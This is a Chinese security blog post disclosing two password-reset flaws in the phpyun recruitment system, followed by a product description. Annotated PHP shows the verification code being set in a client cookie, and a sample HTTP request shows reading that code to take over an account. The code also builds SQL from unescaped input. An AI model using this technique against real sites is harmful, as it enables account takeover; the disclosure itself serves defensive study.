phpyun 两处任意用户密码漏洞

app/controller/forgetpwd/index.class.php

function send_action(){

        $username=yun_iconv("utf-8","gbk",$_POST['username']);

        if(!$this->CheckRegUser($username)&&!$this->CheckRegEmail($username)){

            $res['msg']=yun_iconv("gbk","utf-8","用户名不符合规范!");

            $res['type']='8';

            echo json_encode($res);die;

        }

        $M=$this->MODEL("userinfo");

        $where=array("`username`='".$username."' or `email`='".$username."' or `moblie`='".$username."'");

        $info=$M->GetMemberOne($where,array("field"=>"`uid`,`username`,`email`,`moblie`"));



        if($info['uid']){

            $sendcode=rand(100000,999999);//这里从这个范围里随机抽取一个数字来 生成token 来验证 数字还挺大的 然而并没有什么卵用。

            setcookie("moblie_code",$sendcode,time()+120, "/");//我擦 这是什么意思。。 为什么要把生成的token给我。。。

            if($_POST['sendtype']=='email'){

                if(!($this->config['sy_smtpserver']!="" && $this->config['sy_smtpemail']!="" && $this->config['sy_smtpuser']!="")){

                    $res['msg']=yun_iconv("gbk","utf-8","还没有配置邮箱,请联系管理员!");

                    $res['type']='8';

                    echo json_encode($res);die;

                }elseif($this->config['sy_email_getpass']=="2"){

                    $res['msg']=yun_iconv("gbk","utf-8","网站未开启邮件找回密码!");

                    $res['type']='8';

                    echo json_encode($res);die;

                }

            }else{

                if(!$this->config["sy_msguser"] || !$this->config["sy_msgpw"] || !$this->config["sy_msgkey"]){

                    $res['msg']=yun_iconv("gbk","utf-8","还没有配置短信,请联系管理员!");

                    $res['type']='8';

                    echo json_encode($res);die;

                }elseif($this->config['sy_msg_getpass']=="2"){

                    $res['msg']=yun_iconv("gbk","utf-8","网站未开启短信找回密码!");

                    $res['type']='8';

                    echo json_encode($res);die;

                }

            }

            $fdata=$this->forsend(array('uid'=>$info['uid'],'usertype'=>$info['usertype']));

            $data['uid']=$info['uid'];

            $data['username']=$info['username'];

            $data['name']=$fdata['name'];

            $data['type']="getpass";

            if($_POST['sendtype']=='email'){

                $data['email']=$info['email'];

            }else{

                $data['moblie']=$info['moblie'];

            }

            $data['sendcode']=$sendcode;

            $data['date']=date("Y-m-d");

            $status=$this->send_msg_email($data);

            if($_POST['sendtype']=='email'){

                $check=$info['email'];

            }else{

                $check=$info['moblie'];

            }

            $cert=$M->GetCompanyCert(array("uid"=>$info['uid'],"type"=>"5","check"=>$check),array("field"=>"`uid`,`check2`,`ctime`,`id`"));

            if($cert){

                $M->UpdateCompanyCert(array("check2"=>$sendcode,"ctime"=>time()),array("id"=>$cert['id']));

            }else{

                $M->AddCompanyCert(array('type'=>'5','status'=>0,'uid'=>$info['uid'],'check2'=>$sendcode,'check'=>$check,'ctime'=>time()));

            }

            if($_POST['sendtype']=='email'){

                $res['msg']=iconv("gbk","utf-8",'验证码邮件发送成功!');

            }else{

                $res['msg']=iconv("gbk","utf-8",'验证码短信'.$status);

                if($status!="发送成功!"){

                    $res['type']='8';

                    echo json_encode($res);die;

                }

            }

            $res['type']='1';

            $res['uid']=$info['uid'];

            $res['username']=$this->half_replace(yun_iconv("gbk","utf-8",$info['username']),'GBK');

            $res['email']=$this->half_replace($info['email']);

            $res['moblie']=$this->half_replace($info['moblie']);

            echo json_encode($res);die;

        }else{

            $res['type']='2';

            echo json_encode($res);die;

        }

    }

分析见注释。

直接demo测试一下。

我自己注册了一个号 xiaoyu

http://.../index.php?m=forgetpw

然后输入xiaoyu

在这里插入图片描述
在这里插入图片描述

GET /index.php?m=forgetpw HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://**.**.**.**/index.php?m=login

Cookie: CNZZDATA3860868=cnzz_eid%3D728936302-1434163605-%26ntime%3D1434169820; safedog-flow-item=E8B28CBFB51FE7D89532C87629CB95F8; PHPSESSID=o3tg919m4gma3vq3mh6is5ce54; moblie_code=567221

Cache-Control: max-age=0

moblie_code=567221

在这里插入图片描述
行了。

第二处

另外一处就是手机页面的找回密码的文件

\app\controller\wap\forgetpw.class.php

function send_action(){

        $username=yun_iconv("utf-8","gbk",$_POST['username']);

        if(!$this->CheckRegUser($username)&&!$this->CheckRegEmail($username)){

            $res['msg']=yun_iconv("gbk","utf-8","用户名不符合规范!");

            $res['type']='8';

            echo json_encode($res);die;

        }

        $M=$this->MODEL("userinfo");

        $where=array("`username`='".$username."' or `email`='".$username."' or `moblie`='".$username."'");

        $info=$M->GetMemberOne($where,array("field"=>"`uid`,`username`,`email`,`moblie`"));



        if($info['uid']){

            $sendcode=rand(100000,999999);

            setcookie("moblie_code",$sendcode,time()+120, "/");

跟pc文件的找回密码一样的问题 就不多说拉。。

一样的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
PHP云人才系统是一个采用 PHP 和 MySQL 数据库构建的高效开源的人才与企业求职招、聘解决方案,在尊重版权的前提下能极大的满足站长对于网站程序进行二次开发。PHP云人才系统作为一款拥有自主知识产权的中文人才运营系统,力争为给众多的地方门户、行业人才提供一个易用、功能强大的人才系统。 一、PHP云人才系统产品配置需求: (1)、PHP5 、Mysql5、Apache2/IIS6 以上环境 (2)、可以运行于Windows、Linux、Mac等多种平台 (3)、浏览器前台需要用户开启Cookie功能(浏览需要IE6、火狐 3.x 以上) 二、PHP云人才系统产品特点: (1)、PHP OOP思想编写方便维护和升级有很好的安全性 (2)、采用PHP模板分离可以方便修改页面和二次开发升级 (3)、企业会员和个人会员分别使用独立的管理的权限模式不产生冲突方便管理 三、PHP云人才系统产品常见功能: (1)、个人会员拥有单账户多简历,快速根据不同企业投放不同简历 (2)、个人会员可以通过创建标准简历和黏贴简历模式快速建立自己的简历信息 (3)、个人会员可以通过搜索、收藏、投放等功能来管理个人求职情况 (4)、个人会员可以通过申请、推荐模式找到精确的企业 (5)、企业会员可以分为、普通会员、季度会员、年会员三类收费和管理 (6)、企业会员可以发布不同简历和悬赏简历从而推荐到优先的位置 (7)、企业会员可以通过申请广告运营者可以从中获得收入 (8)、总后台可以通过审核、配置、预览,查找配合网站运营操作猎头服务 (9)、Yun(云)人才系统的最大靓点是开启了内容同步和交换功能,方便运营者资源的填充。 PHP云人才系统(phpyun) v3.1 部分新功能 (1)、 新增微信客户端 (2)、 新增PC客户端 (3)、 新增CRM客户关系管理系统 (4)、 新增APP安卓客户端(个人版,企业版) (5)、 新增CSRF安全防护 (6)、 新增数据采集 (7)、 新增数据导入 (8)、 新增个人简历委托(委托找工作) (9)、 新增职位自动刷新 (10)、新增计划任务 (11)、新增广告站内调用功能 (13)、新增后台在线编辑模板 (14)、新增全站一键更新 (15)、新增网上银行支付 (16)、新增后台自定义快捷菜单 (17)、新增后台新闻取色功能 (18)、新增新闻,招聘会可以选择站内图片 (19)、新增后台日志功能 (20)、新增职位飘红 (21)、新增后台控制注册填写手机(个人、企业均可) (22)、新增找工作频道页 (23)、新增找人才频道页 (24)、新增分站可独立关键词、LOGO (25)、新增管理员可强制企业认证等功能 (26)、新增发布职位可直接填写发布天数 (27)、新增职位复制 (28)、新增后台管理员上次登录时间 (29)、个人会员中心,企业会员中心全面改版 (30)、优化后台生成效率 (31)、优化企业环境批量上传 (32)、优化创建简历模式及界面 (33)、优化SEO设置 (34)、优化用户、企业、猎头配置功能 (35)、优化导航配置(切换伪静态无需更改导航配置) (36)、优化后台企业管理各项功能 (37)、优化后台用户管理 (38)、优化栏目批量操作 (39)、优化邮件、短信批量发送 (40)、优化后台充值(可对用户充值进行加减操作) (41)、优化导航配置(切换伪静态无需更改导航配置) (42)、优化整站体验操作(运用大量异步(AJAX)操作) (43)、优化微简历、微招聘界面、体验 (44)、修复取不到IP禁止访问的问题 (45)、修复编辑器富文本过滤 (46)、修复某处SQL注入 (47)、修复某处越权操作 (48)、修复UC KEY 导致的漏洞 (49)、修复某几处由于验证不严格导致的攻击 (50)、修复多处兼容性问题以及等等各项功能完善........ 更多功能请自主体验!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_404root

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值